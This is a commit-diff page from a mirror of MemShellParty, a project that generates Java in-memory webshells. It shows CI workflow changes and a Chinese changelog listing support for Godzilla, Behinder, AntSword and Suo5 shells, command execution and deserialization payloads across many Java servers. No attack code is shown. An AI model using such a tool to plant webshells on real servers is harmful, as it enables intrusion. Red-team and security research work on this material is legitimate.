mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8c9948c339 | ||
|
|
5cfda07fe8 |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
||||
args = parser.parse_args()
|
||||
version = args.version
|
||||
|
||||
with open("../../web/content/docs/changelog.mdx") as f:
|
||||
with open("../../CHANGELOG.md") as f:
|
||||
lines = f.readlines()
|
||||
for line in lines:
|
||||
if line.startswith(f"## [{version}]"):
|
||||
@@ -21,15 +21,4 @@ if __name__ == '__main__':
|
||||
if not result_lines:
|
||||
print("Specified version not found.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
result_lines.append("## 更新方式\n")
|
||||
result_lines.append("### Docker 部署\n")
|
||||
result_lines.append("```bash\n")
|
||||
result_lines.append("docker rm -f memshell-party\n\n")
|
||||
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
|
||||
result_lines.append("```\n")
|
||||
result_lines.append("### Jar 包启动\n")
|
||||
result_lines.append("> 仅支持 JDK17 及以上版本\n")
|
||||
result_lines.append("```bash\n")
|
||||
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
|
||||
result_lines.append("```\n")
|
||||
print("".join(result_lines).strip())
|
||||
@@ -1,130 +0,0 @@
|
||||
name: "Dev Deploy"
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
jobs:
|
||||
build-jar:
|
||||
name: Build Jar
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version: 22
|
||||
|
||||
- name: Setup Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
with:
|
||||
bun-version: latest
|
||||
|
||||
- name: Build Web with Bun
|
||||
working-directory: web
|
||||
run: bun install --frozen-lockfile && bun run build
|
||||
|
||||
- name: Build Boot with Gradle (Linux)
|
||||
if: matrix.os == 'ubuntu-latest'
|
||||
run: ./gradlew :boot:test :boot:bootjar
|
||||
|
||||
- name: Build Boot with Gradle (Windows)
|
||||
if: matrix.os == 'windows-latest'
|
||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||
|
||||
- name: Upload Boot Jar (Linux)
|
||||
if: matrix.os == 'ubuntu-latest'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs/*.jar
|
||||
|
||||
docker-push:
|
||||
name: Docker Push
|
||||
needs: [ build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: boot
|
||||
platforms: linux/amd64,linux/arm64
|
||||
push: true
|
||||
tags: docker.io/reajason/memshell-party:dev
|
||||
|
||||
deploy-maven:
|
||||
name: Deploy to Maven Central
|
||||
needs: [ build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||
run: ./gradlew publishAllToMavenCentral
|
||||
|
||||
deploy-northflank:
|
||||
name: Deploy to Northflank
|
||||
needs: [ docker-push ]
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
|
||||
steps:
|
||||
- name: Update Deployment
|
||||
run: |
|
||||
curl --header "Content-Type: application/json" \
|
||||
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
|
||||
--request POST \
|
||||
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
|
||||
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
|
||||
@@ -1,41 +0,0 @@
|
||||
name: Docker Build Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'examples/**'
|
||||
- 'vul/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
docker-build-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
docker images
|
||||
- name: Run Docker container
|
||||
run: |
|
||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||
sleep 10
|
||||
- name: Test with curl
|
||||
run: |
|
||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
||||
echo "Test successful!"
|
||||
else
|
||||
echo "Test failed!"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,41 +0,0 @@
|
||||
name: docker-push
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
path:
|
||||
description: 'Path'
|
||||
required: true
|
||||
default: '/redqueen-memshell-party'
|
||||
tag:
|
||||
description: "Tag"
|
||||
required: true
|
||||
default: "redqueen"
|
||||
jobs:
|
||||
docker-push:
|
||||
name: Docker Push
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||
CONTEXT_PATH=${{ inputs.path }}
|
||||
push: true
|
||||
tags: |
|
||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||
@@ -1,78 +0,0 @@
|
||||
name: MemShell IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- './github/workflows/memshell-integration-test.yml'
|
||||
- '**/memshell/**'
|
||||
- '**/packer/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
memshell-integration-test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -1,72 +0,0 @@
|
||||
name: Probe IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- '**/probe/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
cases:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "wildfly"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "websphere7"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "weblogic"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -15,6 +15,9 @@ jobs:
|
||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.13'
|
||||
|
||||
- name: Get Version
|
||||
id: get_version
|
||||
@@ -35,6 +38,7 @@ jobs:
|
||||
build-jar:
|
||||
name: Build Jar
|
||||
runs-on: ubuntu-latest
|
||||
needs: [ info ]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
@@ -48,9 +52,9 @@ jobs:
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 22
|
||||
node-version: '23'
|
||||
|
||||
- name: Setup Bun
|
||||
uses: oven-sh/setup-bun@v2
|
||||
@@ -62,13 +66,13 @@ jobs:
|
||||
run: bun install --frozen-lockfile && bun run build
|
||||
|
||||
- name: Build Boot with Gradle
|
||||
run: ./gradlew :boot:bootjar -x test
|
||||
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
|
||||
|
||||
- name: Upload Boot Jar
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs/*.jar
|
||||
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||
|
||||
docker-push:
|
||||
name: Docker Push
|
||||
@@ -114,41 +118,6 @@ jobs:
|
||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||
ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
build-args: |
|
||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||
CONTEXT_PATH=/redqueen-memshell-party
|
||||
push: true
|
||||
tags: |
|
||||
docker.io/reajason/memshell-party:redqueen
|
||||
|
||||
deploy-maven:
|
||||
name: Deploy to Maven Central
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||
run: ./gradlew publishAllToMavenCentral
|
||||
|
||||
create-release:
|
||||
name: Create Release
|
||||
needs: [ info, docker-push ]
|
||||
@@ -164,13 +133,18 @@ jobs:
|
||||
name: boot
|
||||
path: boot/build/libs
|
||||
|
||||
- name: Calculate SHA-256
|
||||
id: calculate_sha256
|
||||
run: |
|
||||
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||
|
||||
- name: Release
|
||||
uses: ncipollo/release-action@v1
|
||||
with:
|
||||
name: ${{ needs.info.outputs.version }}
|
||||
tag: ${{ needs.info.outputs.version }}
|
||||
body: ${{ needs.info.outputs.changelog }}
|
||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
||||
|
||||
deploy-northflank:
|
||||
name: Deploy to Northflank
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
name: Single IntegrationTest
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
depend_tasks:
|
||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
||||
required: false
|
||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
||||
type: string
|
||||
test_class:
|
||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
||||
required: true
|
||||
type: string
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
integration-test:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Prepare for Integration Test
|
||||
if: ${{ inputs.depend_tasks != '' }}
|
||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
@@ -0,0 +1,79 @@
|
||||
name: Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- 'boot/**'
|
||||
- 'web/**'
|
||||
- '**.md'
|
||||
- '**/*.png'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
|
||||
integration-test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
middleware:
|
||||
- tomcat
|
||||
- jetty
|
||||
- jbossas
|
||||
- jbosseap
|
||||
- wildfly
|
||||
- glassfish
|
||||
- resin
|
||||
- payara
|
||||
- websphere
|
||||
- websphere7
|
||||
- springmvc
|
||||
- weblogic
|
||||
- springwebflux
|
||||
- xxljob
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.middleware }}
|
||||
needs: [ unit-test ]
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
|
||||
- name: Export Integration Test Summary
|
||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||
@@ -1,35 +0,0 @@
|
||||
name: Unit-Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- 'generator/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
+1
-6
@@ -29,10 +29,6 @@ replay_pid*
|
||||
**/build/
|
||||
!src/**/build/
|
||||
|
||||
**/bin/
|
||||
!**/src/main/**/bin/
|
||||
!**/src/test/**/bin/
|
||||
|
||||
# Ignore Gradle GUI config
|
||||
gradle-app.setting
|
||||
|
||||
@@ -60,5 +56,4 @@ snippets/
|
||||
integration-test/**/apusic
|
||||
integration-test/**/bes
|
||||
integration-test/**/tongweb
|
||||
integration-test/**/inforsuite
|
||||
integration-test/**/primeton
|
||||
integration-test/**/inforsuite
|
||||
@@ -1,3 +0,0 @@
|
||||
[submodule "libs"]
|
||||
path = libs
|
||||
url = https://github.com/ReaJason/javaweb-sources.git
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||
|
||||
### Added
|
||||
|
||||
- 支持缩小字节码(移除调试信息) by @ReaJason
|
||||
- 支持 Tomcat Jakarta WebSocket
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复自定义注入器类名不起作用
|
||||
|
||||
### Changed
|
||||
|
||||
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
||||
|
||||
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
||||
|
||||
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 Tomcat WebSocket 注入报错,无法工作
|
||||
|
||||
### Changed
|
||||
|
||||
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
||||
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
||||
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
||||
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
||||
|
||||
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
||||
|
||||
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
||||
|
||||
### Added
|
||||
|
||||
- UI 中打包配置中添加 Loading 状态
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
||||
|
||||
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
||||
|
||||
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
||||
|
||||
### Changed
|
||||
|
||||
- 移除无用依赖,JavaSocket,Gson
|
||||
- Gradle 升级至 8.12.1
|
||||
- 更新 TestContainers 和 Junit 的版本
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
||||
|
||||
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
||||
|
||||
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
||||
|
||||
### Changed
|
||||
|
||||
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
||||
|
||||
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
||||
|
||||
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 AntSword 内存马生成 by @ReaJason
|
||||
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
||||
|
||||
### Changed
|
||||
|
||||
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
||||
- 部分 UI 调整
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复随机类名如果为保留字时会无法加载
|
||||
|
||||
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
||||
|
||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 Suo5 内存马生成 by @ReaJason
|
||||
|
||||
### Changed
|
||||
|
||||
- 升级 TailWind CSS v4
|
||||
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 sonner 颜色主题未随着修改而变化
|
||||
- 修复 IDEA 本地构建 version 一直是 unspecified
|
||||
|
||||
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
||||
|
||||
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
||||
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
||||
- 支持哥斯拉、冰蝎、命令执行功能
|
||||
